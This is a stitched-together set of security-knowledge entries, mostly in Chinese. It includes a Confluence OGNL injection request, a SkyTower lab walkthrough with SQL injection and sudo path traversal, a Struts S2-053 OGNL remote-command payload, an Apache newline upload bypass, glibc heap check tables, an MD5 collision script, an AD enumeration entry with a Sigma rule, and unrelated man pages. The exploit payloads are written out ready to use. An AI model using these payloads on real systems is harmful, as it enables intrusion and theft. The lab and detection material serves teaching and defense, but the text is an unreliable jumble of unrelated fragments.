queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
```
### /pages/createpage.action
This exploit requires a user permission to create pages:
```
GET /pages/createpage.action?spaceKey=EX&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1
Host: 192.168.1.162:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.162:8090/template/custom/content-editor.vm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=7B35600F54A9E303CE8C277ED960E1E7; seraph.confluence=524289%3A2ac32a308478b9cb9f0e351a12470faa4f2a928a
Connection: close
```
|
sec-knowleage
|
# Sky Tower
> https://download.vulnhub.com/skytower/SkyTower.zip
>
> vbox虚拟机
靶场IP地址:`192.168.32.8`

扫描对外IP地址:
```
┌──(root㉿kali)-[~]
└─# nmap -sV -p1-65535 192.168.32.8
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-18 03:06 EDT
Nmap scan report for 192.168.32.8
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.2.22 ((Debian))
3128/tcp open http-proxy Squid http proxy 3.1.20
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.86 seconds
```
浏览器访问80端口

邮箱输入框输入
```
' || 1=1#
```

```
Username: john
Password: hereisjohn
```
因为22端口被过来,使用squid进行反向代理
```
┌──(root㉿kali)-[~]
└─# proxytunnel -p 192.168.32.8:3128 -d 127.0.0.1:22 -a 2222
```
SSH 会话似乎在连接后立即终止,这可能是由于 .bashrc 文件中指定的命令造成的。决定使用 SCP 下载它来验证这一点,它确实包含一个显示"资金已被提取"并退出 shell 的命令:

```
┌──(root㉿kali)-[~]
└─# ssh john@192.168.32.5 -p 2222 "rm .bashrc"
john@192.168.32.5's password:
┌──(root㉿kali)-[~]
└─# ssh john@192.168.32.5 -p 2222
john@192.168.32.5's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 18 03:16:03 2022 from localhost
john@SkyTower:~$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for john:
Sorry, user john may not run sudo on SkyTower.
```
检查 login.php 文件时,发现一些数据库凭据:

找到一些用户名
```
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| SkyTech |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.02 sec)
mysql> use SkyTech
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-------------------+
| Tables_in_SkyTech |
+-------------------+
| login |
+-------------------+
1 row in set (0.00 sec)
mysql> select * from login;
+----+---------------------+--------------+
| id | email | password |
+----+---------------------+--------------+
| 1 | john@skytech.com | hereisjohn |
| 2 | sara@skytech.com | ihatethisjob |
| 3 | william@skytech.com | senseable |
+----+---------------------+--------------+
3 rows in set (0.00 sec)
mysql>
```
由于盒子上存在"sarah"用户,因此尝试通过 SSH 验证为 Sarah。遇到了与之前相同的问题,因此也必须为此用户删除 .bashrc :
```
──(root㉿kali)-[~]
└─# ssh sara@192.168.32.5 -p 2222 "rm .bashrc"
sara@192.168.32.5's password:
┌──(root㉿kali)-[~]
└─# ssh sara@192.168.32.5 -p 2222
sara@192.168.32.5's password:
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 20 08:19:23 2014 from localhost
```
查看sudo列表
```
sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sara may run the following commands on this host:
(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*
sara@SkyTower:~$
```
这可以通过使用 ../ 来代替读取所有文件来滥用。这可以以多种方式用于潜在地实现 root 级访问,但检查 root 标志将显示 root 用户的密码:
```
sara@SkyTower:~$ sudo cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower
```
|
sec-knowleage
|
# S2-053 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
Details:
- http://struts.apache.org/docs/s2-053.html
- https://mp.weixin.qq.com/s?__biz=MzU0NTI4MDQwMQ==&mid=2247483663&idx=1&sn=6304e1469f23c33728ab5c73692b675e
## Setup
```
docker compose up -d
```
After the environment run, you can see a submission page by visiting `http://your-ip:8080/hello.action`.
## Exploit
Struts2 allows parsing OGNL expressions when using the Freemarker template engine. The data is not parsed by OGNL itself, but after being parsed once by Freemarker. It becomes an expression and is parsed by OGNL second time.And remote code execution vulnerablity.
Payload:
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
```

PS: Someone said that they could not reproduce the vulnerability. After my test, I found that the **line break** at the end of the above Payload could not be dropped (that is, the payload must be followed by a newline).
|
sec-knowleage
|
tr
===
将字符进行替换压缩和删除
## 补充说明
**tr命令** 可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。
### 语法
```shell
tr(选项)(参数)
```
### 选项
```shell
-c或——complerment:取代所有不属于第一字符集的字符;
-d或——delete:删除所有属于第一字符集的字符;
-s或--squeeze-repeats:把连续重复的字符以单独一个字符表示;
-t或--truncate-set1:先删除第一字符集较第二字符集多出的字符。
```
### 参数
* 字符集1:指定要转换或删除的原字符集。当执行转换操作时,必须使用参数“字符集2”指定转换的目标字符集。但执行删除操作时,不需要参数“字符集2”;
* 字符集2:指定要转换成的目标字符集。
### 实例
将输入字符由大写转换为小写:
```shell
echo "HELLO WORLD" | tr 'A-Z' 'a-z'
hello world
```
'A-Z' 和 'a-z'都是集合,集合是可以自己制定的,例如:'ABD-}'、'bB.,'、'a-de-h'、'a-c0-9'都属于集合,集合里可以使用'\n'、'\t',可以可以使用其他ASCII字符。
使用tr删除字符:
```shell
echo "hello 123 world 456" | tr -d '0-9'
hello world
```
将制表符转换为空格:
```shell
cat text | tr '\t' ' '
```
字符集补集,从输入文本中将不在补集中的所有字符删除:
```shell
echo aa.,a 1 b#$bb 2 c*/cc 3 ddd 4 | tr -d -c '0-9 \n'
1 2 3 4
```
此例中,补集中包含了数字0~9、空格和换行符\n,所以没有被删除,其他字符全部被删除了。
用tr压缩字符,可以压缩输入中重复的字符:
```shell
echo "thissss is a text linnnnnnne." | tr -s ' sn'
this is a text line.
```
巧妙使用tr做数字相加操作:
```shell
echo 1 2 3 4 5 6 7 8 9 | xargs -n1 | echo $[ $(tr '\n' '+') 0 ]
```
删除Windows文件“造成”的'^M'字符:
```shell
cat file | tr -s "\r" "\n" > new_file
或
cat file | tr -d "\r" > new_file
```
**tr可以使用的字符类:**
```shell
[:alnum:]:字母和数字
[:alpha:]:字母
[:cntrl:]:控制(非打印)字符
[:digit:]:数字
[:graph:]:图形字符
[:lower:]:小写字母
[:print:]:可打印字符
[:punct:]:标点符号
[:space:]:空白字符
[:upper:]:大写字母
[:xdigit:]:十六进制字符
```
使用方式:
```shell
tr '[:lower:]' '[:upper:]'
```
|
sec-knowleage
|
.\" Copyright 1993 David Metcalfe (david@prism.demon.co.uk)
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.\" References consulted:
.\" Linux libc source code
.\" Lewine's _POSIX Programmer's Guide_ (O'Reilly & Associates, 1991)
.\" 386BSD man pages
.\" Modified Sun Jul 25 10:41:28 1993 by Rik Faith (faith@cs.unc.edu)
.TH STRXFRM 3 1993-04-12 "GNU" "Linux Programmer's Manual"
.SH NAME
strxfrm \- 转换字符串
.SH "总览 (SYNOPSIS)"
.nf
.B #include <string.h>
.sp
.BI "size_t strxfrm(char *" dest ", const char *" src ", size_t " n );
.fi
.SH "描述 (DESCRIPTION)"
\fBstrxfrm()\fP 函数 把 字符串 \fIsrc\fP 转换 成 另外 一种 形式. 用
\fBstrcmp()\fP 来比较 两个 转换后的 字符串 与 用 \fBstrcoll()\fP 来比较 它们
转换前的 字符串 的 返回值 是 一样的. 转换后的 字符串的 前 \fIn\fP 个 字符
会存放于 \fIdest\fP 中. 它是 根据 程序 当前的 区域选项 中的
\fILC_COLLATE\fP 来 转换的. (见 \fBsetlocale\fP(3)).
.SH "返回值 (RETURN VALUE)"
\fBstrxfrm()\fP 函数 返回 除去 结尾的 `\\0' 字符, 用来 存储 转换后的 字符串
所 需要的 字节数. 如果 返回值 大于 或 等于 \fIn\fP, \fIdest\fP 中的 内容
就是 不确定的.
.SH "遵循 (CONFORMING TO)"
SVID 3, BSD 4.3, ISO 9899
.SH "注意 (NOTES)"
如果 区域选项 是 \fI"POSIX"\fP 或者 \fI"C"\fP, 那么 \fBstrxfrm()\fP 同
用 \fBstrncpy()\fP 来 拷贝 字符串 是等价的.
.SH "参见 (SEE ALSO)"
.BR bcmp "(3), " memcmp "(3), " strcasecmp "(3), " strcmp (3),
.BR strcoll "(3), " setlocale (3)
.SH "[中文版维护人]"
.B 唐友 \<tony_ty@263.net\>
.SH "[中文版最新更新]"
.BR 2002/1/28
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Apache HTTPD 换行解析漏洞(CVE-2017-15715)
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,`1.php\x0A`将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
## 漏洞环境
编译及运行漏洞环境:
```
docker compose build
docker compose up -d
```
启动后Apache运行在`http://your-ip:8080`。
## 漏洞复现
上传一个名为1.php的文件,被拦截:

在1.php后面插入一个`\x0A`(注意,不能是`\x0D\x0A`,只能是一个`\x0A`),不再拦截:

访问刚才上传的`/1.php%0a`,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:

|
sec-knowleage
|
### 堆的_int_malloc初始检查
| 检查目标 | 检查条件 | 信息 |
| :---: | :--------------------------------------: | :-----------------: |
| 申请的大小 | REQUEST_OUT_OF_RANGE(req) :((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE)) | __set_errno(ENOMEM) |
### 堆的_int_malloc关于fastbin检查
| 检查目标 | 检查条件 | 报错信息 |
| -------- | :-------------------------------------: | :--------------------------------: |
| chunk 大小 | fastbin_index(chunksize(victim)) != idx | malloc(): memory corruption (fast) |
### 堆的_int_malloc关于Unsorted bin检查
| 检查目标 | 检查条件 | 报错信息 |
| :-------------------: | :--------------------------------------: | :-------------------------: |
| unsorted bin chunk 大小 | chunksize_nomask (victim) <= 2 * SIZE_SZ \|\| chunksize_nomask (victim) av->system_mem | malloc(): memory corruption |
### 堆的_int_malloc关于top chunk检查
| 检查目标 | 检查条件 | 信息 |
| :------------: | :--------------------------------------: | :--: |
| top chunk size | (unsigned long) (size) >= (unsigned long) (nb + MINSIZE) | 方可进入 |
### 堆的__libc_free关于mmap 块检查
| 检查目标 | 检查条件 | 信息 |
| :------------: | :------------------: | :--: |
| chunk size 标记位 | chunk_is_mmapped (p) | 方可进入 |
### 堆的__int_free初始检查
| 检查目标 | 检查条件 | 报错信息 |
| :--------: | :--------------------------------------: | :---------------------: |
| 释放chunk位置 | (uintptr_t) p > (uintptr_t) -size \|\| misaligned_chunk(p) | free(): invalid pointer |
| 释放chunk的大小 | size < MINSIZE \|\| !aligned_OK(size) | free(): invalid size |
### 堆的__int_free关于fastbin检查
| 检查目标 | 检查条件 | 报错信息 |
| :-------------------: | :--------------------------------------: | :---------------------------------: |
| 释放chunk的下一个chunk大小 | chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ, chunksize(chunk_at_offset(p, size)) >= av->system_mem | free(): invalid next size (fast) |
| 释放 chunk对应链表的第一个chunk | fb = &fastbin(av, idx),old= *fb, old == p | double free or corruption (fasttop) |
| fastbin索引 | old != NULL && old_idx != idx | invalid fastbin entry (free) |
### 堆的__int_free关于non-mmapped 块检查
| 检查目标 | 检查条件 | 报错信息 |
| :-----------: | :--------------------------------------: | :--------------------------------: |
| 释放chunk位置 | p == av->top | double free or corruption (top) |
| next chunk 位置 | contiguous (av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)) | double free or corruption (out) |
| next chunk 大小 | chunksize_nomask (nextchunk) <= 2 * SIZE_SZ \|\| nextsize >= av->system_mem | free(): invalid next size (normal) |
### 堆的unlink检查
| 检查目标 | 检查条件 | 报错信息 |
| :-------------------: | :--------------------------------------: | :--------------------------------------: |
| size **vs** prev_size | chunksize(P) != prev_size (next_chunk(P)) | corrupted size vs. prev_size |
| Fd, bk 双向链表检查 | FD->bk != P \|\| BK->fd != P | corrupted double-linked list |
| nextsize 双向链表 | P->fd_nextsize->bk_nextsize != P \|\| P->bk_nextsize->fd_nextsize != P | corrupted double-linked list (not small) |
|
sec-knowleage
|
import subprocess
infile="mandog.png"
print "Running first collision."
subprocess.check_output(["./fastcol","-p",infile,"-o","a","b"])
col1a=open("a","rb").read()[-0x80:]
col1b=open("b","rb").read()[-0x80:]
print "Running second collision."
subprocess.check_output(["./fastcol","-p","a","-o","c","d"])
col2a=open("c","rb").read()[-0x80:]
col2b=open("d","rb").read()[-0x80:]
print "Running third collision."
subprocess.check_output(["./fastcol","-p","c","-o","e","f"])
col3a=open("e","rb").read()[-0x80:]
col3b=open("f","rb").read()[-0x80:]
base=open("a","rb").read()[:-0x80]
i=0
for col1 in [col1a, col1b]:
for col2 in [col2a, col2b]:
for col3 in [col3a, col3b]:
open("collision_"+str(i)+".png","wb").write(base+col1+col2+col3)
i+=1
|
sec-knowleage
|
# T1069-002-AD特权组/用户枚举
## 来自ATT&CK的描述
攻击者可能会尝试查找域级别的组和权限设置。域级别权限组的知识可以帮助攻击者确定存在哪些组以及哪些用户属于特定组。攻击者可以使用此信息来确定哪些用户具有提升的权限,例如域管理员。
在Windows操作系统上可以使用net group /domain命令进行查找,在Mac操作系统上使用dscacheutil -q group命令、Linux上可以使用ldapsearch命令查找。
## 测试案例
在侦察阶段检测到攻击者非常重要,因为如果攻击者正处于此阶段,则意味着已经绕过了所有外围设备和安全防护阶段。Microsoft Net.exe程序可用于枚举本地和域用户和组。对于任何试图获取谁/何处等等答案的攻击者,这都是必须要做的。
攻击者可以通过Net命令枚举域和本地用户账户及管理组等信息。
## 检测日志
windows 安全日志(以下场景检测日志需要从域控主机提取。其他主机无此日志产生)
## 测试复现
### 场景一:域内主机执行net user administrator /domain
```dos
C:\Users\sqladmin>net user administrator /domain
这项请求将在域 0day.org 的域控制器处理。
用户名 Administrator
全名 Administrator
注释 管理计算机(域)的内置帐户
用户的注释
国家/地区代码 000 (系统默认值)
帐户启用 Yes
帐户到期 从不
上次设置密码 2019/9/17 18:01:24
密码到期 2019/10/29 18:01:24
密码可更改 2019/9/18 18:01:24
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 2019/10/17 14:19:03
可允许的登录小时数 All
本地组成员 *Administrators
全局组成员 *Organization Manageme*Domain Users
*Enterprise Admins *Schema Admins
*Group Policy Creator *Domain Admins
命令成功完成。
```
#### 场景二:域内主机执行net group "domain admins" /domain
```dos
C:\Users\sqladmin>net group "domain admins" /domain
这项请求将在域 0day.org 的域控制器处理。
组名 Domain Admins
注释 指定的域管理员
成员
-------------------------------------------------------------------------------
Administrator antivirus backup
secretary sqladmin websvr
命令成功完成。
```
## 测试留痕
windows安全事件ID,4661(已请求到对象的句柄),对象类型、进程信息等。
## 检测规则/思路
### sigma规则
```yml
title: AD域权限组及用户枚举
description: win7测试,windows service 2008(域控)
references: http://www.polaris-lab.com/index.php/archives/42/
tags: T1069-002
status: experimental
author: 12306Bro
logsource:
product: windows
service: security
detection:
selection:
EventID: 4661 # 已请求到对象的句柄
Objecttype: #对象>对象类型
- SAM_USER
- SAM_GROUP
Objectname: #对象>对象名
- 'S-1-5-21-*-*-*-502'
- 'S-1-5-21-*-*-*-512'
- 'S-1-5-21-*-*-*-500'
- 'S-1-5-21-*-*-*-505'
- 'S-1-5-21-*-*-*-519'
- 'S-1-5-21-*-*-*-520'
- 'S-1-5-21-*-*-*-544'
- 'S-1-5-21-*-*-*-551'
- 'S-1-5-21-*-*-*-555'
Processname: 'C:\Windows\System32\lsass.exe' #进程信息>进程名称
condition: selection
level: medium
```
### 建议
**声明:** 仅测试以下命令:net user administrator /domain、net group "domain admins" /domain
## 参考推荐
MITRE-ATT&CK-T1087:<https://attack.mitre.org/techniques/T1087/>
MITRE-ATT&CK-T1069-002:<https://attack.mitre.org/techniques/T1069/002>
内网渗透定位技术总结:<http://www.polaris-lab.com/index.php/archives/42/>
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.